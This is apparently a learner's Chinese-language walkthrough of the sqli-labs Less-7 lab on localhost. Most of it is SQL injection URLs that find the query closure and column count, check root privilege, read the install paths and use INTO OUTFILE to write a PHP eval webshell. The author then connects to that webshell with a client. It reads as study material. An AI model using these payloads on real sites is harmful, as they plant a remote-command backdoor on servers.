http://localhost/sqli/Less-7 (注入SQL )
http://localhost/sqli/Less-7/?id=1')) --+ #確認閉合點
http://localhost/sqli/Less-7/?id=1')) order by 3--+ #確認列數
引用一道面試題:mysql注入點,用工具對目標站寫入一句話,需要哪些條件?
root權限以及網站的絕對路徑。
先判斷權限。用 and (select count(*) from mysql.user)>0 ,如果回顯正常,就是表示最高權限。
http://localhost/sqli/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+ #判斷是否有root權限
http://localhost/sqli/Less-2/?id=-1 union select 1,@@datadir,@@basedir--+ #由於我太菜了,只能拿第二關獲取絕對路徑
mysql 安裝路徑 #D:\phpStudy\PHPTutorial\MySQL\data\ 數據庫路徑 #D:/phpStudy/PHPTutorial/MySQL/
用法:select 列名 from table [where語句] into outfile '目標文件'
http://localhost/sqli/Less-7/?id=1')) union select 1,<?php @eval($_POST['cmd']);?>,3 INTO outfile "D:/phpStudy/PHPTutorial/WWW/sqli/less-7/shell.php"--+
寫入失敗,卧槽卧槽,什么鬼。。。竟然寫入失敗。然后不停的百度,還有一個點忘記了
GPC為off,php主動轉義功能為關閉
my.ini 文件中的這項配置 secure_file_priv=""
保存重啟,在嘗試一下。內心暴躁的我,感受悲傷。
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 INTO outfile "xixi.php"--+ #寫入成功了
嘗試一下,寫入本地路徑
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 INTO outfile "D:\phpStudy\WWW\sqli\Less-7\xixi.php"--+ #寫入失敗
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 INTO outfile "D:\phpStudy\WWW\sqli\Less-7\xixi.php"--+ #寫入成功
http://localhost/sqli/Less-7/?id=1')) union select 1,2,'<?php eval($_post['cmd'])?>’ INTO outfile "D:\phpStudy\WWW\sqli\Less-7\shell.php"--+
寫入失敗,我該這么辦!深刻感受一到一點,學得越多。辦法越多。
hex編碼嘗試一下
http://localhost/sqli/Less-7/?id=1')) union select 1,193c3f70687020406576616c28245f706f73745b27636d64275d293f3e18,3 INTO outfile "D:\phpStudy\WWW\sqli\Less-7\xx.php"--+ #明顯的撲街。我再想想url
http://localhost/sqli/Less-7/?id=1')) union select 1,%19%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%70%6f%73%74%5b%27%63%6d%64%27%5d%29%3f%3e%18,3 INTO outfile "D:\phpStudy\WWW\sqli\Less-7\xx.php"--+ #還是不行。。。。我應該這么辦
http://localhost/sqli/Less-7/?id=1')) union select 1,'<?php @eval($_post["mima"])?>',3 INTO outfile "D:\phpStudy\WWW\sqli\Less-7\xx.php"--+ #寫入成功。。。。這么什么情況
菜刀鏈接,看結果了。
卧槽,我竟然連出,烏龍一坑
http://localhost/sqli/Less-7/?id=1')) union select 1,'<?php @eval($_POST["cmd"])?>',3 INTO outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\shell.php"--+ 重新寫一次
o(* ̄︶ ̄*)o,不過做出來還是很開心的。